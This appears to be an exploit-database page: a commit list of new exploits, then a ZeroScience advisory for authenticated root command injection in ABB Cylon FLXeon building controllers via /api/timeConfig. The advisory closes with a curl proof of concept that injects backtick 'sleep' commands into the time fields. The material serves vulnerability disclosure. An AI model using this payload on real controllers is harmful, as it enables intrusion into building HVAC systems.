b165516b1b
26 changes to exploits/shellcodes/ghdb ABB Cylon Aspect 3.08.02 - PHP Session Fixation ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery ABB Cylon FLXeon 9.3.4 - Default Credentials ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) ABB Cylon FLXeon 9.3.4 - System Logs Information Disclosure ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning Netman 204 - Remote command without authentication qBittorrent 5.0.1 - MITM RCE CMU CERT/CC VINCE 2.0.6 - Stored XSS CyberPanel 2.3.6 - Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Broken Access Control GeoVision GV-ASManager 6.1.1.0 - CSRF MagnusSolution magnusbilling 7.3.0 - Command Injection Nagios Log Server 2024R1.3.1 - API Key Exposure WebFileSys 2.31.0 - Directory Path Traversal flatCore 1.5 - Cross Site Request Forgery (CSRF) GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection MiniCMS 1.1 - Cross Site Scripting (XSS) NEWS-BUZZ News Management System 1.0 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
92 lines
No EOL
4.8 KiB
Text
92 lines
No EOL
4.8 KiB
Text
# Exploit Title: ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated)
|
|
# Vendor: ABB Ltd.
|
|
# Product web page: https://www.global.abb
|
|
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
|
|
CBX Series (FLX Series)
|
|
CBT Series
|
|
CBV Series
|
|
Firmware: <=9.3.4
|
|
|
|
Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
|
|
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
|
|
building management solutions. ABB BACnet controllers are designed for intelligent
|
|
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
|
|
heat pump systems, air handling units (constant volume, variable air volume, and
|
|
multi-zone), rooftop units, electrical systems such as lighting control, variable
|
|
frequency drives and metering.
|
|
|
|
The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
|
|
connectivity and open integration for your building automation systems. It's scalable,
|
|
and modular, allowing you to control a diverse range of HVAC functions.
|
|
|
|
Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote root
|
|
code execution via the /api/timeConfig endpoint. An attacker with valid credentials
|
|
can inject arbitrary system commands by manipulating parameters such as tz, timeServerYN,
|
|
and multiple timeDate fields. The vulnerability exists due to improper input validation
|
|
in timeConfig.js, where user-supplied data is executed via ChildProcess.exec() without
|
|
adequate sanitization.
|
|
|
|
Tested on: Linux Kernel 5.4.27
|
|
Linux Kernel 4.15.13
|
|
NodeJS/8.4.0
|
|
Express
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2025-5910
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5910.php
|
|
CVE ID: CVE-2024-48841
|
|
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
|
|
|
|
|
|
21.04.2024
|
|
|
|
--
|
|
|
|
|
|
$ cat project
|
|
|
|
P R O J E C T
|
|
|
|
.|
|
|
| |
|
|
|'| ._____
|
|
___ | | |. |' .---"|
|
|
_ .-' '-. | | .--'| || | _| |
|
|
.-'| _.| | || '-__ | | | || |
|
|
|' | |. | || | | | | || |
|
|
____| '-' ' "" '-' '-.' '` |____
|
|
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
|
|
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
|
|
|
|
$ curl -k -X PUT "https://7.3.3.1/api/timeConfig" \
|
|
> -H "Cookie: user_sid=xxx" \
|
|
> -H "Content-Type: application/json" \
|
|
> -d '{"timeConfig":{"timeDate":{\
|
|
> "yy":"`sleep 17`",\
|
|
> "mm":"`sleep 17`",\
|
|
> "dd":"`sleep 17`",\
|
|
> "h":"`sleep 17`",\
|
|
> "m":"`sleep 17`",\
|
|
> "s":"`sleep 17`"},\
|
|
> "tz":"`sleep 17`",\
|
|
> "tzList":[],\
|
|
> "timeServerYN":"`sleep 17`",\
|
|
> "timeServer":"1.1.1.1",\
|
|
> "timeServerSync":false}}' |